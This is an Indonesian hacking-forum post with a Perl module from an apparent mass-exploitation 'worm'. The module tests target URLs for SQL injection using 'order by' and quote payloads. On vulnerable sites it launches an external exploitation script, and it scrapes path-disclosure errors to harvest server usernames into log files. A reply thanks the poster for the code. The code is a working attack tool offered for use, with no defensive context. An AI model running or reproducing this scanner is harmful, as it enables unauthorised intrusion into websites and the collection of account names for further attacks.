perl: module pemeriksa sqli dan path disclosure get username

[mywisdom]

Code:

sub tessqli()
{
eval
{
    
$kena_bug="tidak";
open (MYFILE, '>>daftar_sqli1.txt');
open (MYFILE3, '>>daftar_disclosure1.txt');

$url=$url_target."1+order+by+1--";
do_visit();
$panjang1=length($isi_halaman);
$url=$url_target."1+order+by+100--";
print "\nchecking possible blind sql bugs at : $url\n";
do_visit();
$isi_halaman_order_by_100=$isi_halaman;
$panjang2=length($isi_halaman);
$selisih=$panjang2-$panjang1;
$url=$url_target."1'";
do_visit();



      
                       if ($isi_halaman_order_by_100 =~ /Unknown column '100'/ || (($panjang1>$panjang2) && ($selisih>256)))
                               {
                                                       our $kena_bug="ya";
                                                        print "woot found sqli at:".$url."\n";
                                                        print MYFILE $url."\n";
                                                        lihat_waktu();
                                                        if(($menit=~"55"))
                                                        {  
                                               system("killall php hzosql.php");
                                                        }
                                                        $url=str_replace("'",'',$url);
                                                        $url =~ s/^\s+//;
                                                    $url =~ s/\s+$//;
                                                        system("php hzosql.php '$url' &");
                                if($isi_halaman=~/on line/ && $isi_halaman=~/public_html/)
                               {
                                   print "\nw00t !!!! found path disclosure !!! at :$url\n";
                                    my @aray_url= split("/", $url);
                                                                    
$target_host=$aray_url[2];
                                     my @pecahan_konten = split('/', $isi_halaman);
                                     $t=0;
                                    
foreach $pecah(@pecahan_konten)
                                       {
                                        
if($pecah=~/ublic_htm/)
                                        
   {
                                        
    $z=$t-2;
                                        
    $y=$t-1;
                                        
  
                                        
    if($pecahan_konten[$z]=~/home/)
                                        
       {
                                        
           print "\nour worm found username:".$pecahan_konten[$y]." on
$target_host\n";
                                        
           $data_path=$target_host." ".$pecahan_konten[$y]."\n";
                                        
            print MYFILE3 $data_path."\n";
                                        
       }
                                        
    last;
                                        
   }
                                        
   $t++;
                                       }
                               }
                              
                                                       }
                                                      else
                                                     {
                                                     open (MYFILE2,'>>fail_sqli1.txt');
                                                     print MYFILE2 $url."\n";
                                                     close (MYFILE2);  
                            }
   close (MYFILE);  
    close (MYFILE2);  
        close (MYFILE3);  
}
}

[dewancc]

Ini dia yang dari tdi wa cari2 :)